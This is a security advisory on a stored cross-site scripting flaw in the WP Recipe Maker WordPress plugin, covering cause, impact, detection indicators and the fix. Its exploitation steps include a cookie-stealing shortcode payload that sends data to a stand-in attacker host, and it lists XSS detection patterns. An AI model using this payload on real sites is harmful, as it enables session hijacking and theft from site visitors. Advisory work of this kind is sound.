CVE-2025-14385: 
WordPress vulnerability analysis and mitigation

CVE-2025-14385 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Recipe Maker plugin for WordPress. It affects all versions up to and including 10.2.3, where insufficient input sanitization and output escaping on the name parameter within the wprm-recipe-roundup-item shortcode allows authenticated attackers with Contributor-level access or above to inject arbitrary web scripts. The vulnerability was published on December 17, 2025, with the fix available in version 10.2.4. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), stemming from missing sanitization of user-supplied input in the name attribute of the wprm-recipe-roundup-item shortcode. Specifically, the vulnerable code paths exist in class-wprm-recipe-roundup.php (lines 244 and 372) and class-wprm-sc-name.php (line 83), where user-controlled values are rendered into page output without proper escaping. An authenticated attacker with at least Contributor privileges can craft a post or page containing a malicious shortcode payload, which is then stored in the database and executed in the browser of any user who visits the affected page (Wordfence, WordPress Trac).

Successful exploitation allows injected JavaScript to execute in the context of any visitor's browser session on pages containing the malicious shortcode, affecting confidentiality and integrity (CVSS C:L/I:L). Attackers could steal session cookies, redirect users to phishing sites, perform actions on behalf of authenticated users (including administrators), or deface site content. The scope is changed (S:C), meaning the impact extends beyond the attacker's own session to affect other users of the WordPress site (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-14385. The EPSS score is approximately 0.032%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Gain Contributor Access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site running WP Recipe Maker ≤ 10.2.3.
2. Create or Edit a Post: Navigate to the WordPress post editor and create or edit a post that supports shortcodes.
3. Inject Malicious Shortcode: Insert a wprm-recipe-roundup-item shortcode with a crafted name parameter containing a JavaScript payload, e.g., [wprm-recipe-roundup-item name="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Post: Submit the post for review or publish it (depending on role permissions), storing the malicious payload in the WordPress database.
5. Trigger Execution: When any user (including administrators) visits the page containing the injected shortcode, the unsanitized name value is rendered into the HTML response and the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing authenticated POST requests to wp-admin/post.php or the REST API containing wprm-recipe-roundup-item shortcodes with suspicious name parameter values (e.g., <script>, javascript:, encoded variants like %3Cscript%3E).
• Database: Unexpected <script> tags or JavaScript event handlers (e.g., onerror, onload) stored in the wp_posts table within wprm-recipe-roundup-item shortcode content.
• Network: Outbound requests from visitor browsers to unknown external domains shortly after loading pages containing WP Recipe Maker roundup shortcodes, potentially indicating cookie exfiltration or redirects.
• File System: No direct file system artifacts expected for stored XSS; however, review recently modified posts/pages in the CMS for injected shortcode payloads.

WordPress site administrators should update the WP Recipe Maker plugin to version 10.2.4 or later, which includes the fix for this vulnerability (changeset 3419784 in the WordPress plugin repository). As an interim measure, sites can restrict Contributor-level user registration or disable the wprm-recipe-roundup-item shortcode functionality until the update is applied. A web application firewall (WAF) with XSS filtering rules can also help mitigate exploitation attempts (Wordfence, WordPress Trac).

The vulnerability was discovered and disclosed by Wordfence, which published the advisory on December 17, 2025. Sucuri included it in their December 2025 vulnerability patch roundup, recommending prompt updates for WordPress site owners (Sucuri Blog). Community aggregators such as VulDB, Vulners, and CIRCL's vulnerability lookup service indexed the CVE shortly after publication, with minimal broader social media discussion given the medium severity rating.